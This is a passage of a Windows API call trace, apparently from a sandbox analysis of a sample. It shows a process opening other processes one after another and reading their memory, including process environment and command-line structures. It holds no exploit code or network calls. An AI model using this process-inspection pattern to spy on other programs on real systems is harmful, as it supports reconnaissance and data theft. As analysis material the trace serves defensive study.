_Buffer="10.0.19041") returned 10 [0346.655] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1388) returned 0xa9c [0346.655] GetLastError () returned 0x0 [0346.655] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.655] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ea018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.655] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.656] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.656] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.656] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.656] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.656] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ea020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.656] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.657] malloc (_Size=0x72) returned 0xea8b20 [0346.657] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a22c2, lpBuffer=0xea8b20, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8b20*, lpNumberOfBytesRead=0x0) returned 1 [0346.657] free (_Block=0xea8b20) [0346.658] CloseHandle (hObject=0xa9c) returned 1 [0346.658] _ui64tow_s (in: _Value=0x13ac, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5036") returned 0x0 [0346.658] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5036") returned 4 [0346.658] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.658] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.659] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x13ac) returned 0xa9c [0346.659] GetLastError () returned 0x0 [0346.659] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.659] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x405018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.659] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.660] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2b2630, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.660] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2b2258, lpBuffer=0x5ec5a0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.660] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.660] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.660] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x405020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.660] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2b1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.661] malloc (_Size=0x64) returned 0xeb6690 [0346.661] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2b22b4, lpBuffer=0xeb6690, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6690*, lpNumberOfBytesRead=0x0) returned 1 [0346.661] free (_Block=0xeb6690) [0346.661] CloseHandle (hObject=0xa9c) returned 1 [0346.662] _ui64tow_s (in: _Value=0x13c8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5064") returned 0x0 [0346.662] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5064") returned 4 [0346.662] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.662] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.663] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x13c8) returned 0xa9c [0346.663] GetLastError () returned 0x0 [0346.663] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.663] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3bc018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.663] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.663] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x432610, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.664] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x432258, lpBuffer=0x5ec5a0, nSize=0x4e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.664] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.664] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.664] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3bc020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.664] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x431c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.664] malloc (_Size=0x56) returned 0xea9f30 [0346.664] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4322a6, lpBuffer=0xea9f30, nSize=0x54, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9f30*, lpNumberOfBytesRead=0x0) returned 1 [0346.665] free (_Block=0xea9f30) [0346.665] CloseHandle (hObject=0xa9c) returned 1 [0346.666] _ui64tow_s (in: _Value=0x1028, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4136") returned 0x0 [0346.666] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4136") returned 4 [0346.666] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.666] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.667] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1028) returned 0xa9c [0346.667] GetLastError () returned 0x0 [0346.667] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.667] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x283018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.667] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.667] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x572650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.668] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x572258, lpBuffer=0x5ec5a0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.668] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.668] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.668] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x283020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.668] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x571c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.668] malloc (_Size=0x6e) returned 0xea9020 [0346.668] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5722be, lpBuffer=0xea9020, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9020*, lpNumberOfBytesRead=0x0) returned 1 [0346.669] free (_Block=0xea9020) [0346.669] CloseHandle (hObject=0xa9c) returned 1 [0346.669] _ui64tow_s (in: _Value=0x548, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1352") returned 0x0 [0346.669] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1352") returned 4 [0346.670] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.670] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.670] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x548) returned 0xa9c [0346.670] GetLastError () returned 0x0 [0346.670] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.671] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x443018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.671] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.671] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7a2610, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.671] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7a2258, lpBuffer=0x5ec5a0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.671] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.671] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.671] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x443020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.672] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7a1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.672] malloc (_Size=0x5a) returned 0xeb6230 [0346.672] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7a22aa, lpBuffer=0xeb6230, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6230*, lpNumberOfBytesRead=0x0) returned 1 [0346.673] free (_Block=0xeb6230) [0346.673] CloseHandle (hObject=0xa9c) returned 1 [0346.673] _ui64tow_s (in: _Value=0xe98, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3736") returned 0x0 [0346.674] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3736") returned 4 [0346.674] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.674] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.674] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe98) returned 0xa9c [0346.675] GetLastError () returned 0x0 [0346.675] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.675] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x312018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.675] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.675] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2620, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.675] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2258, lpBuffer=0x5ec5a0, nSize=0x54, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.675] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.676] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.676] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x312020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.676] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.676] malloc (_Size=0x5c) returned 0xeb6150 [0346.676] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a22ac, lpBuffer=0xeb6150, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6150*, lpNumberOfBytesRead=0x0) returned 1 [0346.676] free (_Block=0xeb6150) [0346.677] CloseHandle (hObject=0xa9c) returned 1 [0346.677] _ui64tow_s (in: _Value=0xcdc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3292") returned 0x0 [0346.677] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3292") returned 4 [0346.677] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.677] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.678] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xcdc) returned 0xa9c [0346.678] GetLastError () returned 0x0 [0346.678] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.678] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x218018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.678] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.679] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x442650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.679] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x442258, lpBuffer=0x5ec5a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.679] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.679] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.679] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x218020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.679] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x441c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.680] malloc (_Size=0x70) returned 0xea9320 [0346.680] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4422c0, lpBuffer=0xea9320, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9320*, lpNumberOfBytesRead=0x0) returned 1 [0346.680] free (_Block=0xea9320) [0346.680] CloseHandle (hObject=0xa9c) returned 1 [0346.680] _ui64tow_s (in: _Value=0xe04, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3588") returned 0x0 [0346.681] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3588") returned 4 [0346.681] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.681] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.682] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe04) returned 0xa9c [0346.682] GetLastError () returned 0x0 [0346.682] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.682] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2b7018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.682] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.682] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.682] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582258, lpBuffer=0x5ec5a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.683] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.683] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.683] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2b7020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.683] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.683] malloc (_Size=0x6a) returned 0xea8f20 [0346.683] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5822ba, lpBuffer=0xea8f20, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8f20*, lpNumberOfBytesRead=0x0) returned 1 [0346.684] free (_Block=0xea8f20) [0346.684] CloseHandle (hObject=0xa9c) returned 1 [0346.684] _ui64tow_s (in: _Value=0x8b4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2228") returned 0x0 [0346.684] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2228") returned 4 [0346.684] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.684] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.685] OpenProcess (dwDesiredAccess=0x410, 